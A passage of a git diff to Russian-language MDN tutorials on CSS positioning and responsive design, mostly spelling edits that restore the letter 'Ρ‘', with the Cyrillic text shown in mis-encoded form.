ΠΎΠ½ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ° ΠΎΠ½ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½ Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎΡ€ΠΎΠ³ΠΎΠ²ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 10px ΠΎΡ‚ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΎΠΊΠ½Π° просмотра), послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ становится фиксированным.Β </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ панСль Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ вмСстС со страницСй Π΄ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы.</span></span></p>
<div id="Sticky_1">
<div class="hidden">
diff --git a/files/ru/learn/css/css_layout/practical_positioning_examples/index.html b/files/ru/learn/css/css_layout/practical_positioning_examples/index.html
index 2f5c145b3c..0e526bfc31 100644
--- a/files/ru/learn/css/css_layout/practical_positioning_examples/index.html
+++ b/files/ru/learn/css/css_layout/practical_positioning_examples/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples
<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</div>
-<p class="summary">ΠžΡΠ½ΠΎΠ²Ρ‹ позиционирования, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π² послСднСй ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΌΡ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ рассмотрим, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΌΠΈΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ Π²Π΅Ρ‰ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ.</p>
+<p class="summary">ΠžΡΠ½ΠΎΠ²Ρ‹ позиционирования, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π² послСднСй ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΌΡ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ рассмотрим, ΠΊΠ°ΠΊ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΌΠΈΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ Π²Π΅Ρ‰ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -24,7 +24,7 @@ translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples
<h2 id="Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ_Π±Π»ΠΎΠΊ_с_Π²ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ">Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ с Π²ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ</h2>
-<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим, - это классичСский ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ с Π²ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ - ΠΎΡ‡Π΅Π½ΡŒ распространСнная функция, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² Π½Π΅Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Бюда входят ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ прилоТСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ стратСгии / Π²ΠΎΠ΅Π½Π½Ρ‹Π΅ ΠΈΠ³Ρ€Ρ‹, ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ вСрсии Π²Π΅Π±-сайтов, Π³Π΄Π΅ экран ΠΈ пространство ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚Π½Ρ‹Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΎΠΊΠ½Π°, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π½Π΅ заполняя вСсь ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс. Наш простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠΌ:</p>
+<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим, - это классичСский ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ с Π²ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ - ΠΎΡ‡Π΅Π½ΡŒ распространённая функция, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² Π½Π΅Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ. Бюда входят ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ прилоТСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ стратСгии / Π²ΠΎΠ΅Π½Π½Ρ‹Π΅ ΠΈΠ³Ρ€Ρ‹, ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ вСрсии Π²Π΅Π±-сайтов, Π³Π΄Π΅ экран ΠΈ пространство ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ ΠΊΠΎΠΌΠΏΠ°ΠΊΡ‚Π½Ρ‹Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ ΠΎΠΊΠ½Π°, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π½Π΅ заполняя вСсь ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс. Наш простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠΌ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p>
@@ -35,7 +35,7 @@ translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples
<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ Π΄ΡƒΠΌΠ°Π΅Ρ‚Π΅: Β«ΠŸΠΎΡ‡Π΅ΠΌΡƒ Π±Ρ‹ просто Π½Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π² Π²ΠΈΠ΄Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Π²Π΅Π±-страниц ΠΈ просто ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ, пСрСходящиС Π½Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ страницы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ эффСкт?Β» Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π±Ρ‹Π» Π±Ρ‹ ΠΏΡ€ΠΎΡ‰Π΅, Π΄Π°, Π½ΠΎ Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ «просмотр страницы» Π½Π° самом Π΄Π΅Π»Π΅ Π±Ρ‹Π» Π±Ρ‹ вновь Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ Π²Π΅Π±-страницСй, Ρ‡Ρ‚ΠΎ затрудняло Π±Ρ‹ сохранСниС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ прСдставлСниями ΠΈ ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΡŽ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΠΏΠ½Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ «одностраничныС прилоТСния» становятся ΠΎΡ‡Π΅Π½ΡŒ популярными - особСнно для ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… Π²Π΅Π±-интСрфСйсов - ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ всС, Ρ‡Ρ‚ΠΎ обслуТиваСтся ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ Ρ„Π°ΠΉΠ», сокращаСт количСство HTTP-запросов, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для просмотра всСго содСрТимого, Ρ‚Π΅ΠΌ самым ΠΏΠΎΠ²Ρ‹ΡˆΠ°Ρ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> НСкоторыС Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ Π΅Ρ‰Π΅ Π±ΠΎΠ»Π΅Π΅ быстрыми Ρ‚Π΅ΠΌΠΏΠ°ΠΌΠΈ, имСя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ страницу ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡƒΡŽ сразу ΠΈ динамичСскоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>. На этом этапС вашСго обучСния ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ всС ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡ‰Π΅. ВпослСдствии Π΅ΡΡ‚ΡŒ JavaScript, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> НСкоторыС Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ быстрыми Ρ‚Π΅ΠΌΠΏΠ°ΠΌΠΈ, имСя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ страницу ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡƒΡŽ сразу ΠΈ динамичСскоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>. На этом этапС вашСго обучСния ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ всС ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡ‰Π΅. ВпослСдствии Π΅ΡΡ‚ΡŒ JavaScript, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ.</p>
</div>
<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ создали Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию исходного HTML-Ρ„Π°ΠΉΠ»Π° β€” <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box-start.html">info-box-start.html</a>. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ это Π³Π΄Π΅ Π²Π°ΠΌ ΡƒΠ΄ΠΎΠ±Π½ΠΎ Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π³ΠΎ Π² тСкстовом Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅. Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° HTML, содСрТащийся Π² Ρ‚Π΅Π»Π΅:</p>
@@ -101,7 +101,7 @@ body {
margin: 0 auto;
}</pre>
-<p>Π­Ρ‚ΠΎ Π·Π°Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ высоту содСрТимого ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ Π½Π° экранС с использованиСм старого <code>margin: 0 auto </code>Ρ‚Ρ€ΡŽΠΊΠ°. РаньшС Π² курсС ΠΌΡ‹ совСтовали Π½Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ высоту Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ содСрТимого, Ссли это Π²ΠΎΠΎΠ±Ρ‰Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ; это Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ Π² этом случаС, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ фиксированный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° Π½Π°ΡˆΠΈΡ… Π²ΠΊΠ»Π°Π΄ΠΊΠ°Ρ…. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ выглядит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… высотах.</p>
+<p>Π­Ρ‚ΠΎ Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ высоту содСрТимого ΠΈ Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ Π½Π° экранС с использованиСм старого <code>margin: 0 auto </code>Ρ‚Ρ€ΡŽΠΊΠ°. РаньшС Π² курсС ΠΌΡ‹ совСтовали Π½Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ высоту Π½Π° ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ содСрТимого, Ссли это Π²ΠΎΠΎΠ±Ρ‰Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ; это Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ Π² этом случаС, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρƒ нас Π΅ΡΡ‚ΡŒ фиксированный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π° Π½Π°ΡˆΠΈΡ… Π²ΠΊΠ»Π°Π΄ΠΊΠ°Ρ…. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ выглядит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… высотах.</p>
<h3 id="Π£ΠΊΠ»Π°Π΄ΠΊΠ°_Π½Π°ΡˆΠΈΡ…_Π²ΠΊΠ»Π°Π΄ΠΎΠΊ">Π£ΠΊΠ»Π°Π΄ΠΊΠ° Π½Π°ΡˆΠΈΡ… Π²ΠΊΠ»Π°Π΄ΠΎΠΊ</h3>
diff --git a/files/ru/learn/css/css_layout/responsive_design/index.html b/files/ru/learn/css/css_layout/responsive_design/index.html
index 76ee65f70c..6178dfa90b 100644
--- a/files/ru/learn/css/css_layout/responsive_design/index.html
+++ b/files/ru/learn/css/css_layout/responsive_design/index.html
@@ -6,7 +6,7 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
---
<div>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</div>
-<p><span class="tlid-translation translation" lang="ru"><span title="">На Π·Π°Ρ€Π΅ Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π° страницы создавались для экрана ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.</span></span> Если Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±Ρ‹Π» экран большСго ΠΈΠ»ΠΈ мСньшСго Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ‡Π΅ΠΌ ΠΎΠΆΠΈΠ΄Π°Π» Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€, Ρ‚ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΌΠΎΠ³ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… полос ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, Π΄ΠΎ<span class="tlid-translation translation" lang="ru"><span title=""> слишком Π΄Π»ΠΈΠ½Π½ΠΎΠΉ строки ΠΈ ΠΏΠ»ΠΎΡ…ΠΎΠ³ΠΎ использования пространства. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»ΠΈΡΡŒ доступны ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² экранов, появилась концСпция <em>ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ (Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ) Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π°</em> </span></span><em>(responsive web design</em> (RWD))Β β€” Π½Π°Π±ΠΎΡ€ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π΅Π±-страницам ΠΌΠ΅Π½ΡΡ‚ΡŒ свой ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈ внСшний Π²ΠΈΠ΄ Π² соотвСтствии с Ρ€Π°Π·Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ экрана, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈ Ρ‚.Π΄. Π­Ρ‚ΠΎ Ρ‚Π° самая, идСя которая ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»Π° ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΊ Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ Π²Π΅Π±Π° для мноТСства устройств, ΠΈ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠΎΠΌΠΎΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ основныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ Π΅Π³ΠΎ.</p>
